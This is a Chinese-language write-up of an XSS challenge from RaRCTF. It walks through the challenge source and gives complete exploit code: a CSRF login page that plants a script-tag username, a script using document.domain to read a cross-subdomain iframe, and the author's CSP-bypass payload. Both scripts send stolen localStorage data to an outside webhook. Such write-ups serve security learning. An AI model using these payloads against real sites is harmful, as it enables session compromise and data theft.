4 分鐘閱讀

關於RaRCTF一題XSS的小筆記

Intro

這次自己參加了RaRCTF,Web除了一題Rust的seccomp bypass沒解掉之外,剩下都解了

Web題很多題目主要是在考驗code review的能力,很讚,但不太知道writeup要寫啥

但其中有一題XSS蠻有趣的,所以筆記一下

題目source code與官方解法

Github

Intended

比賽期間我是用這個解法解掉的,紀錄一下當時我的解題思路

Target

以下是Admin Bot的行為:

const puppeteer = require("puppeteer");
const path = require("path");

let ext = path.resolve(__dirname, "./extension/");

let queue = [];
const addToQueue = (req) => { queue.push(req); return queue.length };

const TIMEOUT = process.env.TIMEOUT ? parseInt(process.env.TIMEOUT) : 4000;
const DELAY = process.env.DELAY ? parseInt(process.env.DELAY) : 500;

const visit = (url) => {
    let page, browser;
    return new Promise(async (resolve, reject) => {
        try {
            browser = await puppeteer.launch({
                headless: true,
                args: [
                    '--no-sandbox',
                    '--disable-setuid-sandbox',
                    '--disable-dev-shm-usage'
                ],
                dumpio: true,
                executablePath: process.env.PUPPETEER_EXECUTABLE_PATH
            });
            page = await browser.newPage();

            /* load flag */
            await page.goto(process.env.SANDBOX_SITE, {
                waitUntil: "networkidle2"
            });
            await page.evaluate(flag => {
                localStorage.message = flag;
            }, process.env.FLAG);

            await page.goto(url, {
                waitUntil: "networkidle2"
            });
            await page.waitForTimeout(TIMEOUT);
            await page.close();
            page = null;
        } catch (err) {
            console.log(err);
        } finally {
            if (page) await page.close();
            if (browser) await browser.close();
            resolve();
        }
    });
};

const loop = async () => {
    while (true) {
        let url = queue.shift();
        if (url) {
            console.log("vistiting:", url, queue);
            await visit(url);
        }
        await new Promise((resolve, reject) => setTimeout(resolve, DELAY));
    }
};

loop();
module.exports = {
    addToQueue
};

所以我們的目標是拿到SANDBOX_SITE(remote端是https://secureenclave.rars.win/)的localStorage.message

Challenge Overview

首先先看一下使用者可以做些什麼事:

可以看到在登入https://securestorage.rars.win/之後會再載入https://secureenclave.rars.win/這個iframe

https://securestorage.rars.win/與iframe溝通的方式是利用postMessage傳一個Array:

chall/public/script.js

window.onload = () => {
    let storage = document.getElementById("secure_storage");
    let user = document.getElementById("user").innerText;
    storage.contentWindow.postMessage(["user", user], storage.src);
};
const changeMsg = () => {
    let storage = document.getElementById("secure_storage");
    storage.contentWindow.postMessage(["localStorage.message", document.getElementById("message").value], storage.src);
};
const changeColor = () => {
    let storage = document.getElementById("secure_storage");
    storage.contentWindow.postMessage(["localStorage.color", document.getElementById("color").value], storage.src);
};

https://secureenclave.rars.win/這個iframe接收到https://securestorage.rars.win/的Message之後的處理是:

chall/secure_safe/secure.js

console.log("secure js loaded...");
const z = (s, i, t = window, y = '.') => s.includes(y) ? z(s.substring(s.indexOf(y) + 1), i, t[s.split(y).shift()]) : t[s] = i;
var user = "";
const render = () => {
    document.getElementById("user").innerText = user;
    document.getElementById("message").innerText = localStorage.message || "None set";
    document.getElementById("message").style.color = localStorage.color || "black";
};
window.onmessage = (e) => {
    let {
        origin,
        data
    } = e;
    if (origin !== document.getElementById("site").innerText || !Array.isArray(data)) return;
    z(...data.map(d => `${d}`));
    render();
};

可以看到z這個function可以任意寫window下的變數

所以或許可以透過改location.hrefdocument.body.innerHTML來XSS,之後彈flag回來

但問題是頁面利用meta tag製作了CSP:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com;">

可以看到用了"default-src 'self',所以script-src在沒有定義的情況下

大概不能用location.hrefdocument.body.innerHTML來XSS,但具體能不能繞CSP,等等再研究

除了繞CSP來XSS之外,也可以在SOP允許的情況下,

在另一個頁面放一個https://secureenclave.rars.win/的iframe,再想辦法把iframe的body彈回來

在分析完題目,基本上要拿flag有兩個方法

  1. 繞CSP

  2. 繞SOP

而這兩個方法有個共通點,一定需要postMessage的幫助,因為sandbox page在沒有外力幫助下不可控

而如果要使用postMessage的任意寫,限制是

origin !== document.getElementById("site").innerText

document.getElementById("site").innerText看起不可控,且值為https://securestorage.rars.win

所以首先要想辦法在https://securestorage.rars.win任意postMessage

Exploit

首先,先要想辦法在https://securestorage.rars.winXSS,或找辦法執行任意的postMessage

code review完可以發現login的時候有機會self-XSS

chall/index.js

// ...
app.set('view engine', 'hbs');
// ...

chall/routes/api.js

router.post("/login", async (req, res) => {
    let { user, pass } = req.body;

    if(!user || !pass) {
        req.session.error = "Missing username or password";
        return res.redirect("/login");
    }

    if(!users.find(u => u.user === user)) {
        req.session.error = "No user exists with that username";
        return res.redirect("/login");
    }

    let entry = users.find(u => u.user === user);
    if(!await bcrypt.compare(pass, entry.pass)) {
        req.session.error = "Incorrect password";
        return res.redirect("/login");
    }

    req.session.user = user;
    req.session.info = `Logged in as ${user} successfully`;
    return res.redirect("/home");
});

chall/views/layout.hbs

{{#if info}}
<div class="alert alert-primary container mt-4" role="alert">
    {{{info}}}
</div>
{{/if}}
{{#if error}}
<div class="alert alert-danger container mt-4" role="alert">
    {{{error}}}
</div>
{{/if}}

所以我們可以通過登入時的req.session.info = `Logged in as ${user} successfully`;來self-XSS

也就是能將<script src=//your.vps/script.js></script>作為username註冊

寫一個CSRF登入的頁面,就能製造一個能用的XSS

//your.vps/index.html

<html>
  <body>
    <form id=x action="https://securestorage.rars.win/api/login" method="POST">
      <input type="hidden" name="user" value="&lt;script&#32;src&#61;https&#58;&#47;&#47;secure&#46;lebr0nli&#46;repl&#46;co&#47;script&#46;js&gt;&lt;&#47;script&gt;" />
      <input type="hidden" name="pass" value="aaa" />
    </form>
    <script>
        x.submit();
    </script>
  </body>
</html>

接下來有兩條路,繞CSP和繞SOP,我最後是利用繞SOP來達成的

由於 https://securestorage.rars.win/https://secureenclave.rars.win/ 都是rars.win的subdomain

而每個頁面的document.domain都能往父級修改,也就是只要我們能控制兩個頁面的document.domain

就能使A.rars.winB.rars.win same origin!

//your.vps/script.js#dirty_code_warning

document.domain = 'rars.win';
var ifr=document.createElement("iframe");
ifr.src="https://secureenclave.rars.win";
ifr.onload=()=>{
  top[0].postMessage(["document.domain",'rars.win'],"https://secureenclave.rars.win");
};
document.body.appendChild(ifr);
setTimeout(() => {
  location = "https://webhook.site/9312382a-71fc-449f-a057-943b16840bdb/?f="+encodeURIComponent(top[0].document.body.innerHTML)
}, 3000)

get flag!

rarctf{js_god?_the_wh0le_1nternet_1s_y0ur_d0main!!!_60739238}

Unintended

其實這題的CSP是繞的掉的!

出題者給出的payload:

window.addEventListener("load", () => {
    let storage = document.getElementById("secure_storage");
    storage.contentWindow.postMessage(
        [
            "document.body.innerHTML",
            "<div id=user></div><div id=message></div><div id=site>https://securestorage.rars.win</div><iframe id=frame src='https://secureenclave.rars.win/assets/LICENSE.txt'></iframe>"
        ]
        , "*"
    );
    setTimeout(() => {
        storage.contentWindow.postMessage(
            [
                "frame.contentWindow.document.body.innerHTML",
                "<img src=x onerror='navigator.sendBeacon(webhook, localStorage.message)' />"
            ]
            , "*"
        );
    }, 1500);
})

原因是這題的CSP是用meta tag來達成,所以其他的頁面並沒有CSP

又因為沒有定義frame-src

所以default-src self的情況下,可以引入self的iframe

而當A頁面有CSP時,若在A頁面中的iframe中的B頁面沒有CSP

那就能透過B頁面的XSS,來達到繞過CSP!

而這題要怎麼得到一個沒有CSP的B頁面來XSS呢?

就是利用postMessage先將document.body.innerHTML先寫一個src是asset的頁面

在利用postMessage將xss的payload寫進那個iframe的contentWindow.document.body.innerHTML!

太妙了!

Summary

很有趣的題目,除了學到document.domain的trick外

也學到只要能控window下的變數,就有機會能利用改另一個iframe來繞CSP

真的很不錯!